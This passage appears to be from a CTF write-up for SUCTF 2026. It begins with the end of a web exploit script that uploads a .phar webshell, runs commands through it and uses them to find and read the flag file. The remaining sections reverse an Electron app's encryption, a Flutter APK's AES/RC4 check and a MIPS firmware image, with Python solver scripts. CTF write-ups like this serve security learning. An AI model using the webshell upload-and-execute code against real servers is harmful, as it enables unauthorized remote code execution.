elif r.status_code == 503:
print(f" WAF blocked upload for cmd: {cmd[:30]}")
else:
print(f"[-] Upload failed: HTTP {r.status_code}")
return None

def execute_cmd(s, cmd):
url = upload_shell(s, cmd)
if url:
r = requests.get(url, timeout=10)
return r.text.strip()
return None

为什么这里一定要选 phar,而不是别的奇怪扩展?除了它能进白名单之外,还有一个实战层面的原因:Apache 默认会把 .phar 当成 PHP 解释,所以只要它确实被保存到可访问目录里,访问上传后的 URL 就等于执行了一段 PHP。

1
2
3
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>

最后读 flag 这一段其实没什么岔路,但我还是按真实探索过程走了一遍。先试最直觉的找 flag 文件:

1
execute_cmd(s, 'find / -maxdepth 2 -name flag* -type f 2>/dev/null')

能看到 /flag,但直接读的时候权限不够。于是继续把根目录列出来:

1
execute_cmd(s, 'ls -la /')

这一步能看到一个随机名字的 txt 文件,权限是全局可读的。再去 cat 它,就直接拿到了真正的 flag:

1
execute_cmd(s, 'cat /b2b27f1a12e1f4bcb3927024bdb92531.txt')

最后结果是:

1
SUCTF{y0ud1an_c00l_LiHua}

Re

SU_MvsicPlayer

eletron框架的exe,直接解app.asar可以拿到js代码

用js deobfuscator美化一下,这边应该是有两种加密模式

如果native模块vm_encryptor.node存在,则走vmEncrypt

否则走走js层普通的placeholderVmEncrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const _0xf2d128 = _0x2856;
function _0x2856(_0x402f41, _0x285686) {
_0x402f41 = _0x402f41 - 0;
const _0x405f71 = _0x402f();
let _0x4bc633 = _0x405f71[_0x402f41];
return _0x4bc633;
}
const fs = require("fs");
const path = require("path");
function _0x402f() {
const _0x547f4e = ["from", "length", "alloc", "write", "ascii", "concat", "join", "Release", "app.asar.unpacked", "native", "build", "function", "vmEncrypt", "isBuffer", "exports"];
_0x402f = function () {
return _0x547f4e;
};
return _0x402f();
}
function rol8(_0xd31990, _0x4f2729) {
const _0x380992 = _0x4f2729 & 7;
return (_0xd31990 << _0x380992 | _0xd31990 >>> 8 - _0x380992) & 255;
}
function placeholderVmEncrypt(_0x50fad3) {
const _0x566aba = _0x2856;
const _0x178bb9 = Buffer[_0x566aba(0)](_0x50fad3);
const _0xfa2dfc = Buffer.alloc(_0x178bb9[_0x566aba(1)]);
let _0x4f9749 = 109;
for (let _0x5f8962 = 0; _0x5f8962 < _0x178bb9.length; _0x5f8962 += 1) {
_0x4f9749 = (_0x4f9749 ^ 50 + (_0x5f8962 & 15)) & 255;
_0xfa2dfc[_0x5f8962] = rol8(_0x178bb9[_0x5f8962] ^ _0x4f9749, _0x5f8962 % 5 + 1);
}
const _0x5b5aa4 = Buffer[_0x566aba(2)](4);
_0x5b5aa4[_0x566aba(3)]("SVE4", 0, _0x566aba(4));
return Buffer[_0x566aba(5)]([_0x5b5aa4, _0xfa2dfc]);
}
function createVmEncryptorBridge(_0x3c0b08) {
const _0x35cece = _0x2856;
const _0x561970 = [path[_0x35cece(6)](_0x3c0b08, "native", "build", _0x35cece(7), "vm_encryptor.node"), path.join(process.resourcesPath || "", _0x35cece(8), "native", "build", "Release", "vm_encryptor.node"), path[_0x35cece(6)](process.resourcesPath || "", _0x35cece(9), _0x35cece(10), _0x35cece(7), "vm_encryptor.node")];
const _0x3868dc = _0x561970.find(_0x54efab => _0x54efab && fs.existsSync(_0x54efab));
let _0x439600 = null;
if (!_0x3868dc) {
return {};
}
_0x439600 = require(_0x3868dc);
function _0x5d9ab9() {
throw new Error("E");
}
function _0x51d7f4(_0x35a843) {
const _0x2ca98d = _0x2856;
if (_0x439600 && typeof _0x439600.vmEncrypt === _0x2ca98d(11)) {
const _0x19a230 = _0x439600[_0x2ca98d(12)](Buffer[_0x2ca98d(0)](_0x35a843));
if (Buffer[_0x2ca98d(13)](_0x19a230)) {
return _0x19a230;
}
_0x5d9ab9();
}
return placeholderVmEncrypt(_0x35a843);
}
return {vmEncrypt: _0x51d7f4};
}
module[_0xf2d128(14)] = {createVmEncryptorBridge: createVmEncryptorBridge, placeholderVmEncrypt: placeholderVmEncrypt};

可以通过napi_register_module_v1定位到注册函数的地址

img

在encrypt里同样有两条选择,通过vm加密或者和之前js层一样的加密

img

接下来就是用ai对vm进行同构,拆解并解密

最后对解出来的ddd.wav计算md5就可以了

SUCTF{16ac79d3510d6ea4b5338fade80459b8}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
import argparse
import struct
from pathlib import Path

MASK32 = 0xFFFFFFFF

def u32(v: int) -> int:
return v & MASK32

def rol32(x: int, n: int) -> int:
x &= MASK32
return ((x << n) | (x >> (32 - n))) & MASK32

def ror32(x: int, n: int) -> int:
x &= MASK32
return ((x >> n) | (x << (32 - n))) & MASK32

def bswap32(x: int) -> int:
x &= MASK32
return ((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) | ((x << 8) & 0xFF0000) | ((x << 24) & MASK32)

def words_from_bytes_be(block64: bytes) -> list[int]:
if len(block64) != 64:
raise ValueError("block must be 64 bytes")
return [struct.unpack_from(">I", block64, i)[0] for i in range(0, 64, 4)]

def words_from_bytes_le(block64: bytes) -> list[int]:
if len(block64) != 64:
raise ValueError("block must be 64 bytes")
return [struct.unpack_from("<I", block64, i)[0] for i in range(0, 64, 4)]

def words_to_bytes_be(words: list[int]) -> bytes:
if len(words) != 16:
raise ValueError("need 16 words")
out = bytearray(64)
for i, w in enumerate(words):
struct.pack_into(">I", out, i * 4, u32(w))
return bytes(out)

def pair_fwd(x0: int, x1: int, t: int) -> tuple[int, int]:
y0 = u32((ror32(x0, 8) + x1) ^ t)
y1 = u32(rol32(x1, 3) ^ y0)
return y0, y1

def pair_inv(y0: int, y1: int, t: int) -> tuple[int, int]:
x1 = ror32(y1 ^ y0, 3)
x0 = rol32(u32((y0 ^ t) - x1), 8)
return x0, x1

def build_round_params(state_words: list[int]):
s = [u32(v) for v in state_words]
c0 = 0x73756572
c1 = 0
stage_consts = (0x70336364, 0x70336365, 0x70336366, 0x70336367)

params = []
for sc in stage_consts:
c0 = u32(c0 + sc)
c1 = u32(c1 + 0x70336364)

s[0] = u32(s[0] + rol32(s[1] ^ c0, 3))
s[1] = u32(s[1] + rol32(s[2] ^ s[0], 5))
s[2] = u32(s[2] + rol32(s[3] ^ s[1], 7))
s[3] = u32(s[3] + rol32(s[4] ^ s[2], 11))
s[4] = u32(s[4] + rol32(s[5] ^ s[3], 13))
s[5] = u32(s[5] + rol32(s[6] ^ s[4], 17))
s[6] = u32(s[6] + rol32(s[7] ^ s[5], 19))
s[7] = u32(s[7] + rol32(s[0] ^ s[6], 23))

t = [
u32(s[0] ^ s[2] ^ c0),
u32(s[1] ^ s[3] ^ u32(c0 + 0x62616F7A)),
u32(s[4] ^ s[6] ^ u32(c0 + 0x6F6E6777)),
u32(s[5] ^ s[7] ^ u32(c0 + 0x696E6221)),
]
a = [u32(s[0] + s[4]), u32(s[1] + s[5]), u32(s[2] + s[6]), u32(s[3] + s[7])]
x = [u32(s[0] ^ s[5]), u32(s[1] ^ s[6]), u32(s[2] ^ s[7]), u32(s[3] ^ s[4])]
params.append((t, a, x, c1))

return params

def calc_g(y: list[int], p) -> list[int]:
_t, a, x, c1 = p
a0, a1, a2, a3 = a
x0, x1, x2, x3 = x

g0 = u32((((y[0] << 4) ^ (y[0] >> 5)) + y[1]) ^ u32(c1 + a0))
g0 = u32(g0 + (rol32(y[3], 1) ^ (c1 >> 1)))

g1 = u32((((y[1] << 4) ^ (y[1] >> 5)) + y[2]) ^ u32(c1 + a1))
g1 = u32(g1 + (rol32(y[4], 2) ^ (c1 >> 2)))

g2 = u32((((y[2] << 4) ^ (y[2] >> 5)) + y[3]) ^ u32(c1 + a2))
g2 = u32(g2 + (rol32(y[5], 3) ^ (c1 >> 3)))

g3 = u32((((y[3] << 4) ^ (y[3] >> 5)) + y[4]) ^ u32(c1 + a3))
g3 = u32(g3 + (rol32(y[6], 4) ^ (c1 >> 4)))

g4 = u32((((y[4] << 4) ^ (y[4] >> 5)) + y[5]) ^ u32(c1 + x0))
g4 = u32(g4 + (rol32(y[7], 5) ^ (c1 >> 5)))

g5 = u32((((y[5] << 4) ^ (y[5] >> 5)) + y[6]) ^ u32(c1 + x1))
g5 = u32(g5 + (rol32(y[0], 6) ^ (c1 >> 6)))

g6 = u32((((y[6] << 4) ^ (y[6] >> 5)) + y[7]) ^ u32(c1 + x2))
g6 = u32(g6 + (rol32(y[1], 7) ^ (c1 >> 7)))

g7 = u32((((y[7] << 4) ^ (y[7] >> 5)) + y[0]) ^ u32(c1 + x3))
g7 = u32(g7 + (rol32(y[2], 8) ^ c1))

return [g0, g1, g2, g3, g4, g5, g6, g7]

def encrypt_block(plain_block: bytes, state_words: list[int]) -> tuple[bytes, list[int]]:
w = words_from_bytes_be(plain_block)

for p in build_round_params(state_words):
old_l = w[:8]
old_r = w[8:]

y = []
t = p[0]
for i in range(4):
y0, y1 = pair_fwd(old_r[2 * i], old_r[2 * i + 1], t[i])
y.extend([y0, y1])

g = calc_g(y, p)
new_r = [u32(old_l[i] ^ g[i]) for i in range(8)]
w = y + new_r

cipher_block = words_to_bytes_be(w)

cw = words_from_bytes_le(cipher_block)
next_state = [bswap32(cw[i] ^ cw[i + 8]) for i in range(8)]
return cipher_block, next_state

def decrypt_block(cipher_block: bytes, state_words: list[int]) -> tuple[bytes, list[int]]:
w = words_from_bytes_be(cipher_block)
params = build_round_params(state_words)

for p in reversed(params):
new_l = w[:8]
new_r = w[8:]

g = calc_g(new_l, p)
old_l = [u32(new_r[i] ^ g[i]) for i in range(8)]

old_r = []
t = p[0]
for i in range(4):
x0, x1 = pair_inv(new_l[2 * i], new_l[2 * i + 1], t[i])
old_r.extend([x0, x1])

w = old_l + old_r

plain_block = words_to_bytes_be(w)

cw = words_from_bytes_le(cipher_block)
next_state = [bswap32(cw[i] ^ cw[i + 8]) for i in range(8)]
return plain_block, next_state

def encrypt_direct(data: bytes) -> bytes:
pad = 64 - (len(data) % 64)
if pad == 0:
pad = 64
data_padded = data + bytes([pad]) * pad

state = [
0x00010203,
0x04050607,
0x08090A0B,
0x0C0D0E0F,
0x10111213,
0x14151617,
0x18191A1B,
0x1C1D1E1F,
]

out = bytearray()
for i in range(0, len(data_padded), 64):
cblk, state = encrypt_block(data_padded[i : i + 64], state)
out += cblk
return bytes(out)

def unpad_pkcs7_64(data: bytes) -> bytes:
if not data or len(data) % 64 != 0:
raise ValueError("bad padded length")
pad = data[-1]
if not (1 <= pad <= 64):
raise ValueError("bad pad value")
if data[-pad:] != bytes([pad]) * pad:
raise ValueError("bad pad bytes")
return data[:-pad]

def decrypt_direct_body(enc_body: bytes, do_unpad: bool = True) -> bytes:
if len(enc_body) % 64 != 0:
raise ValueError("cipher body length must be multiple of 64")

state = [
0x00010203,
0x04050607,
0x08090A0B,
0x0C0D0E0F,
0x10111213,
0x14151617,
0x18191A1B,
0x1C1D1E1F,
]

out = bytearray()
for i in range(0, len(enc_body), 64):
pblk, state = decrypt_block(enc_body[i : i + 64], state)
out += pblk

raw = bytes(out)
return unpad_pkcs7_64(raw) if do_unpad else raw

def main():
ap = argparse.ArgumentParser(description="Direct arithmetic rewrite of vm_tools VM encryption/decryption")
ap.add_argument("inp")
ap.add_argument("out")
ap.add_argument("--mode", choices=["enc", "dec"], default="enc")
ap.add_argument("--with-header", action="store_true", help="enc mode: prepend SVE4")
ap.add_argument("--no-unpad", action="store_true", help="dec mode: keep 64-byte padding")
ap.add_argument("--self-test", action="store_true", help="run consistency checks")
args = ap.parse_args()

raw = Path(args.inp).read_bytes()

if args.mode == "enc":
body = encrypt_direct(raw)
out = (b"SVE4" + body) if args.with_header else body
Path(args.out).write_bytes(out)
print("enc", len(out))
else:
body = raw[4:] if raw.startswith(b"SVE4") else raw
dec = decrypt_direct_body(body, do_unpad=not args.no_unpad)
Path(args.out).write_bytes(dec)
print("dec", len(dec))

if args.self_test:
import vm_tools

if args.mode == "enc":
ref = vm_tools.encrypt_vm(raw)
if ref != body:
raise SystemExit("self-test failed: vm encrypt mismatch")
else:
rec = encrypt_direct(dec)
if rec != body:
raise SystemExit("self-test failed: re-encrypt mismatch")
print("self-test: OK")

if __name__ == "__main__":
main()

#python vm_direct_static.py ddd.su_mv_enc ddd.wav --mode dec

SU_flumel

这个apk的flutter使用dartvm3.11.1,用旧版本的blutter第一次编译到最后失败了,也没办法更新了

最后只好重新clone了一个新版的去编译,有点小折磨,不过问题不大

把符号恢复出来后,可以很清楚地找到关于flag的类在flumel.ctf_verifier中

img

通过分析CtfVerifier::verify 0x2d1c60

img

得到流程大概为

  1. _loadHermesBundle() 读取 bundles/cache.snap.bundle
  2. _buildRc4Key() 0x2d4988 生成 RC4Warp 的 key
  3. Rc4Warp::process(input)0x2d43e0 处理用户输入
  4. _verifyInNativeAsync(processed, bundle)0x2d1df0 进入 native

在native层的libjunk.so中,可以发现大量自解和frida检测

img

后面是个AES算法,这里key和iv计算起来容易出问题

img

最后派生公式是:

1
2
key[i] = bundle[(11 + 17 * i) % n] ^ ((fnv + i) & 0xff) ^ "youknowwhatImean"[i]
iv[i] = bundle[(7 + 29 * i) % n] ^ (((crc32_bundle >> 8) + 3 * i) & 0xff) ^ "itsallintheflow!"[i]

拿到

AES key = 9ae9908d89879e9981ca199e82cd1783

AES iv = dcd9c3d2daca55dca4af2aafa63aa3e9

然后是提取密文为

56 96 70 de 6d 7e 27 0e 7e 27 a1 89 ce c7 08 2b

a1 88 3f 69 79 66 31 ad bd 7c 6d 0f ea 9f 28 1d

60 f9 d1 27 7f 1b 00 7c 36 d6 31 72 77 53 ed cf

img

解出来的字节后面带有padding,就说明这部分的解密基本上没问了

img

最后还是使用ai来处理了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python3
from __future__ import annotations

import argparse
from pathlib import Path

try:
from Crypto.Cipher import AES
except ImportError as exc:
raise SystemExit("Missing dependency: pycryptodome. Install with `pip install pycryptodome`.") from exc

ROOT = Path(__file__).resolve().parent
DEFAULT_BUNDLE = ROOT / "lib" / "assets" / "flutter_assets" / "bundles" / "cache.snap.bundle"

TARGET_CIPHERTEXT = bytes.fromhex(
"569670de6d7e270e7e27a189cec7082b"
"a1883f69796631adbd7c6d0fea9f281d"
"60f9d1277f1b007c36d631727753edcf"
)
RC4WARP_KEY = b"TobeorNottobe"
KEY_XOR_TEXT = b"youknowwhatImean"
IV_XOR_TEXT = b"itsallintheflow!"

def build_crc32_table() -> list[int]:
table: list[int] = []
for value in range(256):
crc = value
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ 0xEDB88320
else:
crc >>= 1
table.append(crc & 0xFFFFFFFF)
return table

def build_rc4warp_key() -> bytes:
base = [0x1F, 0x3B, 0x3F, 0x03, 0x00, 0x0A, 0xCF, 0xE5, 0xE7, 0xE8, 0xCA, 0xCC, 0xD2]
return bytes((value ^ ((9 * index + 0x4B) & 0xFF)) & 0xFF for index, value in enumerate(base))

def derive_bundle_material(bundle: bytes) -> tuple[int, int, bytes, bytes]:
if not bundle:
raise ValueError("Bundle is empty.")

fnv = 0x811C9DC5
for byte in bundle:
fnv = ((fnv ^ byte) * 0x1000193) & 0xFFFFFFFF

crc = 0xFFFFFFFF
crc_table = build_crc32_table()
for byte in bundle:
crc = crc_table[(byte ^ crc) & 0xFF] ^ (crc >> 8)
crc_final = (~crc) & 0xFFFFFFFF
crc_shift = (crc_final >> 8) & 0xFFFFFFFF

size = len(bundle)
aes_key = bytes(
bundle[(11 + 17 * index) % size] ^ ((fnv + index) & 0xFF) ^ KEY_XOR_TEXT[index]
for index in range(16)
)
aes_iv = bytes(
bundle[(7 + 29 * index) % size] ^ ((crc_shift + 3 * index) & 0xFF) ^ IV_XOR_TEXT[index]
for index in range(16)
)
return fnv, crc_final, aes_key, aes_iv

def rc4warp_process(data: bytes, key: bytes) -> bytes:
state = list(range(256))
key_len = len(key)
j = 0
rot = 0xC3

for i in range(256):
key_a = key[(5 * i + 1) % key_len]
key_b = key[(3 * i + 7) % key_len]
rot = ((rot << 1) | (rot >> 7)) & 0xFF
s_i = state[i]
j = (j + s_i + key_a + (key_b ^ rot) + i) & 0xFF
state[i], state[j] = state[j], state[i]

a = 0
j = 0
rot = 157
out = bytearray()

for byte in data:
a = (a + 1) & 0xFF
s_a = state[a]
j = (j + s_a + ((11 * a) & 0xFF)) & 0xFF
state[a], state[j] = state[j], state[a]

index_1 = (a + j) & 0xFF
index_2 = (state[a] + s_a + (state[index_1] ^ rot)) & 0xFF
stream_1 = state[index_2]

rot = ((rot << 3) | (rot >> 5)) & 0xFF
index_3 = (stream_1 ^ rot) & 0xFF
stream_2 = state[index_3]

out.append((byte ^ stream_1 ^ stream_2 ^ ((13 * a) & 0xFF)) & 0xFF)

return bytes(out)

def recover_flag(bundle_path: Path) -> tuple[str, dict[str, str]]:
bundle = bundle_path.read_bytes()
fnv, crc_final, aes_key, aes_iv = derive_bundle_material(bundle)

plain = AES.new(aes_key, AES.MODE_CBC, aes_iv).decrypt(TARGET_CIPHERTEXT)
if len(plain) != 48:
raise ValueError(f"Unexpected plaintext length: {len(plain)}")
if plain[-12:] != b"\x0c" * 12:
raise ValueError(f"Unexpected PKCS#7 padding: {plain[-12:].hex()}")

transformed_flag = plain[:-12]
flag_bytes = rc4warp_process(transformed_flag, RC4WARP_KEY)
flag = flag_bytes.decode("ascii")

debug = {
"bundle_len": str(len(bundle)),
"fnv1a_32": f"0x{fnv:08x}",
"crc32_bundle": f"0x{crc_final:08x}",
"aes_key": aes_key.hex(),
"aes_iv": aes_iv.hex(),
"rc4warp_key": RC4WARP_KEY.decode(),
"rc4warp_flag_bytes": transformed_flag.hex(),
}
return flag, debug

def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Recover the SUCTF 2026 flumel flag.")
parser.add_argument(
"--bundle",
type=Path,
default=DEFAULT_BUNDLE,
help=f"Hermes bundle path (default: {DEFAULT_BUNDLE})",
)
parser.add_argument(
"--verbose",
action="store_true",
help="Print intermediate values used during recovery.",
)
return parser.parse_args()

def main() -> None:
args = parse_args()
flag, debug = recover_flag(args.bundle)
if args.verbose:
for key, value in debug.items():
print(f"{key}: {value}")
print(flag)

if __name__ == "__main__":
main()

SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

SU_old_bin

old_bin全部异或0x7F后可以拿到正确的镜像文件,但直接用binwalk什么都提不出

用该脚本可以提取出sec0,sec1/sec2 只是额外打包出来的 SMALLFW 数据,sec0是主要分析点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
#!/usr/bin/env python3
import argparse
import hashlib
import io
import lzma
import pathlib
import re
import struct
import zipfile

def md5_hex(data: bytes) -> str:
return hashlib.md5(data).hexdigest()

def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()

def safe_mkdir(path: pathlib.Path) -> None:
path.mkdir(parents=True, exist_ok=True)

def parse_img0_header(data: bytes):
if len(data) < 40 or data[:4] != b"IMG0":
raise ValueError("not an IMG0 image")
fields = struct.unpack_from("<9I", data, 4)
# version, hdr_size, load_addr, (off,len)x3
return {
"version": fields[0],
"header_size": fields[1],
"load_addr": fields[2],
"segments": [
{"name": "sec0", "offset": fields[3], "length": fields[4]},
{"name": "sec1", "offset": fields[5], "length": fields[6]},
{"name": "sec2", "offset": fields[7], "length": fields[8]},
],
}

def xz_decompress(blob: bytes) -> bytes:
return lzma.decompress(blob)

def parse_smallfw(blob: bytes):
if not blob.startswith(b"SMALLFW"):
return None
if len(blob) < 12:
return None
count = struct.unpack_from("<I", blob, 7)[0]
pos = 11
phd = []
for _ in range(count):
if pos + 8 > len(blob):
break
ent = blob[pos : pos + 8]
if ent[:3] != b"PHD":
break
idx = ent[3]
typ = ent[4:8].rstrip(b"\x00").decode("ascii", "ignore")
phd.append({"index": idx, "type": typ, "offset": pos})
pos += 8
return {"count": count, "phd": phd, "data_offset": pos}

def parse_parts(blob: bytes):
pattern = re.compile(rb"PART:(\d+):([^:\x00\n]+):(\d+)\n")
parts = []
for m in pattern.finditer(blob):
pid = int(m.group(1))
ptype = m.group(2).decode("ascii", "ignore")
plen = int(m.group(3))
line_end = m.end()
sig = None
if "xz" in ptype:
sig = b"\xfd7zXZ\x00"
elif "gzip" in ptype:
sig = b"\x1f\x8b"
sig_at = blob.find(sig, line_end) if sig else line_end
if sig_at < 0:
continue
parts.append(
{
"id": pid,
"type": ptype,
"declared_len": plen,
"line_off": m.start(),
"line_end": line_end,
"sig_off": sig_at,
"prefix_len": sig_at - line_end,
}
)
return parts

def try_decompress(ptype: str, blob: bytes):
if "xz" in ptype:
dec = lzma.LZMADecompressor(format=lzma.FORMAT_XZ)
out = dec.decompress(blob)
return {
"ok": True,
"kind": "xz",
"out": out,
"eof": dec.eof,
"unused_len": len(dec.unused_data),
}
if "gzip" in ptype:
import gzip

out = gzip.decompress(blob)
return {"ok": True, "kind": "gzip", "out": out, "eof": True, "unused_len": 0}
return {"ok": False, "error": "unknown part type"}

def describe_zip(data: bytes):
try:
zf = zipfile.ZipFile(io.BytesIO(data), "r")
except Exception:
return None
files = []
for zi in zf.infolist():
files.append(
{
"name": zi.filename,
"comp_size": zi.compress_size,
"file_size": zi.file_size,
"crc32": f"0x{zi.CRC:08x}",
}
)
return files

def analyze_smallfw(name: str, data: bytes, outdir: pathlib.Path) -> None:
meta = parse_smallfw(data)
if not meta:
return
print(f"\n[{name}] SMALLFW")
print(f" phd_count={meta['count']}")
for ent in meta["phd"]:
print(f" PHD[{ent['index']}] type={ent['type']!r} @0x{ent['offset']:x}")

parts = parse_parts(data)
if not parts:
print(" no PART entries")
return

safe_mkdir(outdir)
for i, p in enumerate(parts):
next_line = parts[i + 1]["line_off"] if i + 1 < len(parts) else len(data)
seg = data[p["sig_off"] : p["sig_off"] + p["declared_len"]]
after_decl = data[p["sig_off"] + p["declared_len"] : next_line]
print(
f" PART[{p['id']}] {p['type']} decl={p['declared_len']} "
f"sig=0x{p['sig_off']:x} prefix={p['prefix_len']} after_decl={len(after_decl)}"
)

try:
dec = try_decompress(p["type"], seg)
except Exception as exc:
print(f" decompress error: {exc}")
continue

if not dec.get("ok"):
print(f" decompress fail: {dec.get('error')}")
continue
out = dec["out"]
print(
f" -> {dec['kind']} out_len={len(out)} eof={dec.get('eof')} "
f"md5={md5_hex(out)}"
)
out_path = outdir / f"part{p['id']}_{p['type'].replace('+', '_')}.out"
out_path.write_bytes(out)
zinfo = describe_zip(out)
if zinfo:
for z in zinfo:
print(
f" zip: {z['name']} comp={z['comp_size']} "
f"size={z['file_size']} crc={z['crc32']}"
)

# Hidden tail after the last declared chunk
lp = parts[-1]
tail_start = lp["sig_off"] + lp["declared_len"]
if tail_start < len(data):
tail = data[tail_start:]
print(
f" hidden_tail len={len(tail)} md5={md5_hex(tail)} "
f"sha256={sha256_hex(tail)}"
)
(outdir / "hidden_tail.bin").write_bytes(tail)

def overlap_recovery(sec1: bytes, sec2: bytes, outdir: pathlib.Path) -> None:
parts1 = parse_parts(sec1)
target = None
for p in parts1:
if p["id"] == 2 and "xz" in p["type"]:
target = p
break
if target is None:
return

base = sec1[target["sig_off"] :]
base_dec = lzma.LZMADecompressor(format=lzma.FORMAT_XZ)
try:
out0 = base_dec.decompress(base)
except Exception:
return

best_n = 0
best_out = out0
for n in range(1, min(256, len(sec2)) + 1):
d = lzma.LZMADecompressor(format=lzma.FORMAT_XZ)
try:
out = d.decompress(base + sec2[:n])
except Exception:
continue
if len(out) > len(best_out):
best_out = out
best_n = n

print("\n[overlap] sec1 PART[2] continuation probe")
print(f" base_out_len={len(out0)}")
if best_n > 0:
print(
f" best_with_sec2_prefix={best_n} -> out_len={len(best_out)} "
f"md5={md5_hex(best_out)}"
)
safe_mkdir(outdir)
(outdir / "sec1_part2_overlap_best.bin").write_bytes(best_out)
else:
print(" no improving prefix found in first 256 bytes of sec2")

def main():
ap = argparse.ArgumentParser(description="Analyze SU_oldbin IMG0/SMALLFW container")
ap.add_argument("input", type=pathlib.Path, help="path to 1.bin (decoded IMG0)")
ap.add_argument(
"--outdir",
type=pathlib.Path,
default=pathlib.Path("manual_hdr_extract_auto"),
help="output directory",
)
args = ap.parse_args()

raw = args.input.read_bytes()
hdr = parse_img0_header(raw)
print("IMG0 header:")
print(
f" version={hdr['version']} header_size=0x{hdr['header_size']:x} "
f"load_addr=0x{hdr['load_addr']:x}"
)

safe_mkdir(args.outdir)
dec_segments = {}
for seg in hdr["segments"]:
off = seg["offset"]
ln = seg["length"]
chunk = raw[off : off + ln]
comp_path = args.outdir / f"{seg['name']}.xz"
comp_path.write_bytes(chunk)
try:
dec = xz_decompress(chunk)
dec_path = args.outdir / f"{seg['name']}.dec"
dec_path.write_bytes(dec)
dec_segments[seg["name"]] = dec
print(
f" {seg['name']}: off=0x{off:x} len={ln} -> dec_len={len(dec)} "
f"md5={md5_hex(dec)}"
)
except Exception as exc:
print(f" {seg['name']}: off=0x{off:x} len={ln} decompress error: {exc}")

for name in ("sec1", "sec2"):
if name in dec_segments:
analyze_smallfw(name, dec_segments[name], args.outdir / f"{name}_parts")

if "sec1" in dec_segments and "sec2" in dec_segments:
overlap_recovery(dec_segments["sec1"], dec_segments["sec2"], args.outdir)

if __name__ == "__main__":
main()

将sec0的ELF头修正后,就可以用ida打开分析了,是64位MIPS 小端序ELF

这里ida分析比较难受的地方就是rodata的读取是通过相对偏移

没办法直接显示

img

主要还是sub_120008658处的算法,比较麻烦

img

这里先是通过unicorn模拟执行拿到正确的checker

几处 seb / dext指令都会爆 Unhandled CPU exception (UC_ERR_EXCEPTION)

要进行一些额外的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#!/usr/bin/env python3
import struct
from pathlib import Path

from unicorn import Uc, UC_HOOK_CODE
from unicorn.mips_const import *
from unicorn.unicorn_const import UC_ARCH_MIPS, UC_MODE_LITTLE_ENDIAN, UC_MODE_MIPS64

MASK64 = (1 << 64) - 1
BASE = 0x120000000

FUNC_INIT_CTX = 0x120007FF8 - BASE
